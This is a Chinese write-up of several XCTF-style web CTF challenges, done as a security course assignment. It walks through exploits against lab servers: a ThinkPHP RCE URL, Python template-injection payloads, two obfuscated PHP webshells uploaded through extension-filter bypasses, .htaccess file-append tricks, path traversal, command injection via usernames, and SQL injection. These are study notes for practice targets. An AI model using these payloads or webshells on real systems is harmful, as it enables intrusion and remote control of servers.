本文是《网络安全课程设计》的一项任务

robots

题目描述:X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。

robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,robots.txt应放置于网站的根目录下。如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata,又称元数据)。

于是应该读取robots.txt里的内容。

直接访问http://111.200.241.244:58484/f1ag_1s_h3re.php得到flag。

Training-WWW-Robots

由题目名称可得知本题与robots协议有关,于是检查该站点有没有robots.txt文件:Disallow:
/fl0g.php表示网站禁止蜘蛛访问本目录,于是我们尝试访问http://111.200.241.244:63486/fl0g.php,得到flag。

php_rce

由题意得本题应该与ThinkPHP V5远程代码执行漏洞相关。在Github上搜索相关内容:

在网页中随意打开一个无效网址,得到报错提示:

由此我们可以得到版本号为ThinkPHP V5.0.20。在相关漏洞中检索,首先尝试http://111.200.241.244:60671/?s=index/\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id,可以发现远程代码执行成功:

于是将id换为ls以查找目录,不断进入上层目录发现flag文件:

于是直接利用cat命令打开/flag目录,得到flag。

Web_python_template_injection

由题意可得本题利用了Python-模板注入漏洞。在当前URL后面添加{{[].class}}可以得到如下结果,说明代码注入成功,网站已经执行了我们的代码。

于是便可以利用python的os模块的listdir()函数来读取当前目录。

1
>>> ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')  #读取当前目录

注入代码后得到:

发现当前目录中有fl4g文件,于是尝试打开该文件。使用Python中file模块的read()函数读取文件,并得到flag值:

1
>>> [].__class__.__base__.__subclasses__()[40]('fl4g').read()

下文的“难度”指攻防世界的题目星级,最高为10星

ics-07 (难度:5/10)

进入主页后发现左侧菜单栏和右侧一张图片,但菜单栏只有“项目管理”按钮有作用:

进入后有一个登录界面和源代码查看按钮:

查看源代码进行代码审计。

首先仔细阅读第一段代码,如果page不为空且不等于index.php,那么就会执行include('flag.php');否则会重定向到flag.php文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
    session_start();
    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
      include('flag.php');
    }else {
      header('Location: ?page=flag.php');
    }
?>

第二段代码用来进行用户身份鉴别,判断session是不是admin,并获取值来匹配ph(p[3457]?\|t\|tml),如果匹配成功(即php3457,pht,phtml),输出”Bad file extension“,并退出;否则写入文件。实际上这段代码是对php文件进行过滤,检验成功后文件上传到/uploaded/backup/的目录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
     if ($_SESSION['admin']) {
       $con $_POST['con'];
       $file $_POST['file'];
       $filename "backup/".$file;
       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i'$filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename'w');
           fwrite($f$con);
           fclose($f);
       }
     }
     ?>

第三段代码是对get参数id进行校验,如果id的浮点数不是1,且最后一位是9那么实行查询语句,如果查询正确,会得到一个admin的session。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
?>

这里我们直接构造满足所有要求的payload:?id=1a9&page=flag.php,成功绕过。

下面我们开始尝试文件上传。由第二段可以看到,我们只能用POST的方式上传文件,参数con是文件内容,参数file是文件名。我们使用中国蚁剑生成密码为zzz的木马:

1
<?php $exRN=create_function(str_rot13('$').chr(0x307-0x294).chr(0155546/0772).str_rot13('z').chr(01154-01007),chr(474-373).str_rot13('i').base64_decode('YQ==').base64_decode('bA==').str_rot13('(').chr(891-855).str_rot13('f').chr(38628/348).str_rot13('z').chr(54540/540).str_rot13(')').str_rot13(';'));$exRN(base64_decode('ODA5N'.'jM5O0'.'BldkF'.'sKCRf'.''.chr(0x325-0x2d0).chr(01116-01011).chr(01371-01300).base64_decode('VA==').str_rot13('I').''.''.chr(792-722).chr(0x650c/0xdf).base64_decode('Ng==').chr(0x14b-0xe6).chr(0x2c5-0x257).''.'pdKTs'.'yNDI4'.'OTE3O'.'w=='.''));?>

由第二段代码我们可以发现正则判断.之后的字符,于是我们加个/.即可解决。所以我们post的payload是:

file=pa.php/.&con=\<?php \$exRN……;?\>(省略处见前述木马)

成功连接中国蚁剑

打开/var/www/html/flag.php,得到flag。

wtf.sh-150 (难度:7/10)

进入网站后随便打开一篇文章,注意观察URL:

注意到可能有路径穿越漏洞,于是尝试构造URL为http://111.200.241.244:55069/post.wtf?post=..得到网站源代码:

直接Ctrl+F搜索“flag”关键词:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html>
<head>
    <link rel="stylesheet" type="text/css" href="/css/std.css" >
</head>
$ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}"
$ then
$   local username=$(head -n 1 users/${URL_PARAMS['user']});
$   echo "<h3>${username}'s posts:</h3>";
$   echo "<ol>";
$   get_users_posts "${username}" | while read -r post; do
$       post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}");
$       echo "<li><a href=\"/post.wtf?post=${post_slug}\">$(nth_line 2 "${post}" | htmlentities)</a></li>";
$   done 
$   echo "</ol>";
$   if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]]
$   then
$       get_flag1
$   fi
$ fi
</html>

注意上面标出的代码,从中我们可以看出:当COOKIES是admin并且USERNAME为admin时,可以get_flag1,于是确定了之后努力的方向是得到admin的COOKIE值;从上面的代码中我们可以发现有/users目录,利用之前的路径穿越尝试进入该目录:

该目录直接存放着所有用户的cookie值,包括我们之前注册的用户1和admin。对比登录时的cookies:

确定这里存放的就是所有用户的token值。所以我们直接利用cookie欺骗来登录admin账户。

得到flag,但显然flag不完整,只是前半部分。

继续进行代码审计,发现include_page函数存在文件上传漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function include_page {
    # include_page pathname
    local pathname=$1
    local cmd=
    [[ ${pathname(-4)} = '.wtf' ]];
    local can_execute=$;
    page_include_depth=$(($page_include_depth+1))
    if [[ $page_include_depth -lt $max_page_include_depth ]]
    then
        local line;
        while read -r line; do
            # check if we're in a script line or not ($ at the beginning implies script line)
            # also, our extension needs to be .wtf
            [[ = ${line01} && ${can_execute} = 0 ]];
            is_script=$;
            # execute the line.
            if [[ $is_script 0 ]]
            then
                cmd+=$'n'${line#$};
            else
                if [[ -n $cmd ]]
                then
                    eval $cmd  log Error during execution of ${cmd};
                    cmd=
                fi
                echo $line
            fi
        done  ${pathname}
    else
        echo pMax include depth exceeded!p
    fi
}

继续观察,发现reply函数也存在路径穿越漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function reply {
    local post_id=$1;
    local username=$2;
    local text=$3;
    local hashed=$(hash_username "${username}");
    curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
    next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");
    next_file=(posts/${post_id}/${next_reply_id});
    echo "${username}" > "${next_file}";
    echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
    echo "${text}" >> "${next_file}";
    # add post this is in reply to to posts cache
    echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";
}

上面标记的一行代码把用户名写在了评论文件的内容中。

结合上面两段代码和黄色重点标记的部分,我们可以推测如果用户名是一段可执行代码,同时写入wtf格式文件,那么这个文件就能够执行我们想要的代码。

由得到前半段flag的文件get_flag1推测,后半段flag的文件名应为get_flag2,于是我们先注册一个用户名为\${find,/,-iname,get_flag2}的普通用户,用来寻找所有目录下的get_flag2文件。然后我们测试一下前面提到的文件上传漏洞。将post路径改为如下所示,上传名为test1.wtf的文件,在这里文件的内容没有意义,执行的是USERNAME,即\${find,/,-iname,get_flag2},用来寻找flag2路径.

上传成功后我们打开这个文件,可以得到flag2的路径:

下面我们利用这个路径得到flag2。注册一个名为\$/usr/bin/get_flag2的用户,利用以上方法上传attack.wtf文件:

打开该文件,得到flag2。

拼接flag1和flag2得到xctf{cb49256d1ab48803149e5ec49d3c29ca}.

Zhuanxv (难度:7/10)

结合题目描述中的“你只是在扫描目标端口的时候发现了一个开放的web服务”,使用webdirscan工具扫描一下,得到以下结果:

打开http://111.200.241.244:59982/list可以得到一个登录界面:

仔细审阅代码,发现疑似文件包含漏洞:

同时发现cookie中含有JESSIONID字段:

于是怀疑该网页所用语言为Java,于是我们尝试利用上面的文件包含漏洞寻找web.xml页面。构造payload为http://111.200.241.244:59982/loadimage?fileName=../../WEB-INF/web.xml,访问,得到bg.jpg,用记事本打开,可以得到源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?xml version="1.0" encoding="UTF-8"?>
<web-app id="WebApp_9" version="2.4"
         xmlns="http://java.sun.com/xml/ns/j2ee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
    <display-name>Struts Blank</display-name>
    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
    <welcome-file-list>
        <welcome-file>/ctfpage/index.jsp</welcome-file>
    </welcome-file-list>
    <error-page>
        <error-code>404</error-code>
        <location>/ctfpage/404.html</location>
    </error-page>
</web-app>

发现strust2文件,即Struts2框架的全局属性文件,利用文件包含漏洞访问该文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?xml version="1.0" encoding="UTF-8"?>
 
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
        "http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
    <constant name="strutsenableDynamicMethodInvocation" value="false"/>
    <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
    <constant name="struts.action.extension" value=","/>
    <package name="front" namespace="/" extends="struts-default">
        <global-exception-mappings>
            <exception-mapping exception="java.lang.Exception" result="error"/>
        </global-exception-mappings>
        <action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
            <result name="error">/ctfpage/login.jsp</result>
            <result name="success">/ctfpage/welcome.jsp</result>
        </action>
        <action name="loadimage" class="com.cuitctf.action.DownloadAction">
            <result name="success" type="stream">
                <param name="contentType">image/jpeg</param>
                <param name="contentDisposition">attachment;filename="bg.jpg"</param>
                <param name="inputName">downloadFile</param>
            </result>
            <result name="suffix_error">/ctfpage/welcome.jsp</result>
        </action>
    </package>
    <package name="back" namespace="/" extends="struts-default">
        <interceptors>
            <interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
            <interceptor-stack name="userAuth">
                <interceptor-ref name="defaultStack" />
                <interceptor-ref name="oa" />
            </interceptor-stack>
 
        </interceptors>
        <action name="list" class="com.cuitctf.action.AdminAction" method="execute">
            <interceptor-ref name="userAuth">
                <param name="excludeMethods">
                    execute
                </param>
            </interceptor-ref>
            <result name="login_error">/ctfpage/login.jsp</result>
            <result name="list_error">/ctfpage/welcome.jsp</result>
            <result name="success">/ctfpage/welcome.jsp</result>
        </action>
    </package>
</struts>

文件里包含了很多class名,使用文件包含漏洞可以逐个下载。下载后将文件扩展名改为.class,用jd-gui java反编译工具进行反编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public boolean userCheck(User user) {
 List<User> userList = this.userService.loginCheck(user.getName(), user.getPassword());
 if (userList != null && userList.size() == 1) {
   return true;
 }
 addActionError("Username or password is Wrong, please check!");
 return false;
}

public List <User> loginCheck(String name, String password) {
    name = name.replaceAll(" """);
    name = name.replaceAll("=""");
    Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(name);
    Matcher password_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(password);
    if (password_matcher.find()) {
        return this.userDao.loginCheck(name, password);
    }
    return null;
}

public List < User > loginCheck(String name, String password) {
       return getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");  
   }

以上代码片段是反编译后得到的登录和用户校验的代码,结合以上代码可以构造payload:(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid\<2)\<'"+str(j)+"'以及URL:”%0Aor%0Aname%0Alike%0A'admin&user.password=1“,使用脚本进行盲注,得到flag:sctf{C46E250926A2DFFD831975396222B08E}

blgdel (难度:8/10)

首先使用御剑专业版扫描一下目录:

打开/robots.txt文件后如图,指向了另一个网站路径:

打开后页面内包含了网站源代码,于是进行代码审计。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
<?php
class master
{
    private $path;
    private $name;
     
    function __construct()
    {
         
    }
     
    function stream_open($path)
    {
        if(!preg_match('/(.*)\/(.*)$/s',$path,$array,0,9))
            return 1;
        $a=$array[1];
        parse_str($array[2],$array);
         
        if(isset($array['path']))
        {
            $this->path=$array['path'];
        }
        else
            return 1;
        if(isset($array['name']))
        {
            $this->name=$array['name'];
        }
        else
            return 1;
         
        if($a==='upload')
        {
            return $this->upload($this->path,$this->name);
        }
        elseif($a==='search')
        {
            return $this->search($this->path,$this->name);
        }
        else 
            return 1;
    }
    function upload($path,$name)
    {
        if(!preg_match('/^uploads\/[a-z]{10}\/$/is',$path)||empty($_FILES[$name]['tmp_name']))
            return 1;
         
        $filename=$_FILES[$name]['name'];
        echo $filename;
         
        $file=file_get_contents($_FILES[$name]['tmp_name']);
         
        $file=str_replace('<','!',$file);
        $file=str_replace(urldecode('%03'),'!',$file);
        $file=str_replace('"','!',$file);
        $file=str_replace("'",'!',$file);
        $file=str_replace('.','!',$file);
        if(preg_match('/file:|http|pre|etc/is',$file))
        {
            echo 'illegalbbbbbb!';
            return 1;
        }
         
        file_put_contents($path.$filename,$file);
        file_put_contents($path.'user.jpg',$file);
         
         
        echo 'upload success!';
        return 1;
    }
    function search($path,$name)
    {
        if(!is_dir($path))
        {
            echo 'illegal!';
            return 1;
        }
        $files=scandir($path);
        echo '</br>';
        foreach($files as $k=>$v)
        {
            if(str_ireplace($name,'',$v)!==$v)
            {
                echo $v.'</br>';
            }
        }
         
        return 1;
    }
     
    function stream_eof()
    {
        return true;
    }
    function stream_read()
    {
        return '';
    }
    function stream_stat()
    {
        return '';
    }
     
}
 
stream_wrapper_unregister('php');
stream_wrapper_unregister('phar');
stream_wrapper_unregister('zip');
stream_wrapper_register('master','master');
 
?>

其中,parse_str() 函数把查询字符串解析到变量array中,stream_open()函数对path的传参和name的传参从字符串对应到变量,upload()函数过滤了上传文件的内容,包括/file:\|http\|pre\|etc/is以及\<" ’.均被过滤,search()函数判断是否存在和name相同的文件或者目录,并替换为空并列出当前目录。

在头像上传页面发现疑似文件上传漏洞,但尝试上传后提示等级太低,无法上传。

注册十个账户,并填写推荐人后获得积分100,此时可以进行文件上传。

尝试上传图片马,上传成功但无法执行,怀疑触发了关键词过滤,在已上传目录里打开后,如上文代码审计的结论,/file:\|http\|pre\|etc/is以及<“ ’.果然被过滤了,于是想到尝试上传.htaccess文件修改配置文件。构造第一个payload搜索flag文件:

1
php_value auto_append_file master://search/path=%2fhome%2f&name=flag

其中%2f是为了绕过’/’的正则匹配法则。

上传.htaccess文件后已经可以正常上传.php文件:

访问1.php即可得到flag文件名:

然后再上传一个.htaccess文件,内容为:

1
php_value auto_append_file /home/hiahiahia_flag

此时再访问之前的1.php内容已变为:

得到flag。

filemanager (难度:8/10)

首先使用御剑专业版扫描:

打开第一个,发现源代码泄露,进行代码审计:

发现后端代码使用了白名单,所以无法直接上传木马,同时该版本也不能使用%00截断,但发现网站有rename功能,观察rename.php的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if (isset($req['oldname']) && isset($req['newname'])) {
    $result $db->query("select * from `file` where `filename`='{$req['oldname']}'");
    if ($result->num_rows > 0) {
        $result $result->fetch_assoc();
    } else {
        exit("old file doesn't exists!");
    }
 
    if ($result) {
 
        $req['newname'] = basename($req['newname']);
        $re $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");
        if (!$re) {
            print_r($db->error);
            exit;
        }
        $oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];
        $newname = UPLOAD_DIR . $req["newname"] . $result["extension"];
        if (file_exists($oldname)) {
            rename($oldname$newname);
        }
        $url "/" . $newname;
        echo "Your file is rename, url:
                <a href=\"{$url}\" target='_blank'>{$url}</a><br/>
                <a href=\"/\">go back</a>";
    }
}

怀疑可以通过前端功能rename进行sql注入,使其extension值为空:

然后修改文件添加.php后缀,使网站可以执行恶意代码。

首先上传一个名为',extension='.txt的txt文件用来sql注入,然后修改文件名为attack.txt:

这样,新的文件名就变成了attack.txt.txt,经过上面高亮的数据库update语句:

1
update `file` set `filename`='attack.txt', `oldname`='',extension=’’ where `fid`={$result['fid']}"

attack.txt的extension就变为空。于是我们再上传一个文件名相同的木马文件,利用Antsword插件生成木马:

1
<?php $lVeL=create_function(chr(15876/441).base64_decode('cw==').chr(894-783).str_rot13('z').str_rot13('r'),chr(01223-01056).chr(0104160/0450).str_rot13('n').base64_decode('bA==').base64_decode('KA==').str_rot13('$').chr(0107147/0475).chr(31302/282).chr(0x2ef-0x282).chr(471-370).chr(01237-01166).chr(55932/948));$lVeL(base64_decode('NDU3O'.'DI2O0'.'BldkF'.'sKCRf'.''.chr(528-443).chr(58581/849).base64_decode('OQ==').base64_decode('VA==').base64_decode('Vg==').''.''.chr(0533-0425).base64_decode('dA==').str_rot13('w').chr(55500/555).str_rot13('J').''.'10XSk'.'7MTM3'.'MzQ3O'.'Ds='.''));?>

上传后由于\$result[“extension”]已经通过注入变为空,因此我们可以修改为.php文件。

使用Antsword连接可以拿到flag。

也可以在虚拟终端内得到flag:

ics-04 (难度4/10)

进入登录页面后发现三个入口可能存在sql注入漏洞:登录、注册和忘记密码:

于是首先用sqlmap扫描登录页面,发现不存在sql注入:

同样,注册页面也不存在sql注入,但在忘记密码页面,成功扫描出4个数据库:

因为该网站名为cetc,所以首先尝试访问该数据库。访问后发现只有一个user表,于是直接dump。之后发现密码已经加密,sqlmap的hash破解没有作用(后两个用户是我自己注册的),但我们得到了管理员用户名c3tlwDmIn23

后来尝试后发现该网站用户访问控制系统存在逻辑漏洞,可以重复注册同一个用户名,于是我们直接注册c3tlwDmIn23,便可以得到管理员权限。

注册后成功登录,便得到flag:cyberpeace{7de7a525272f7a3463d04739e971fc9b}

bug (难度:5/10)

首先尝试注册admin账户,发现账号已存在。于是先注册一个test账号:

但普通账号进入后无法打开manage选项卡,于是尝试寻找修改密码模块的逻辑漏洞。尝试Findpwd,然后用Burp Suite抓包,发现有username的信息,修改为admin:

提示修改成功:

成功进入admin账户,但在进入manage界面时提示IP不允许,只需要抓包然后加上X-Forwarded-For: 127.0.0.1即可。

进入之后打卡检查元素,发现页面注释有提示:

如果直接访问这个网址会提示Action is not correct!只需要把???改成upload即可。

如果直接上传php文件的话会报错,如果直接修改MIME也不行,因为会检查文件内的<php>标签。这里需要用script模式绕过,上传一个内容为

1
<script language='php'>helloworld_php_script</script>  

的jpg文件,然后用Burp Suite 抓包:

Send后得到flag:cyberpeace{e788ce13e8255b0068e72bcf476453ec}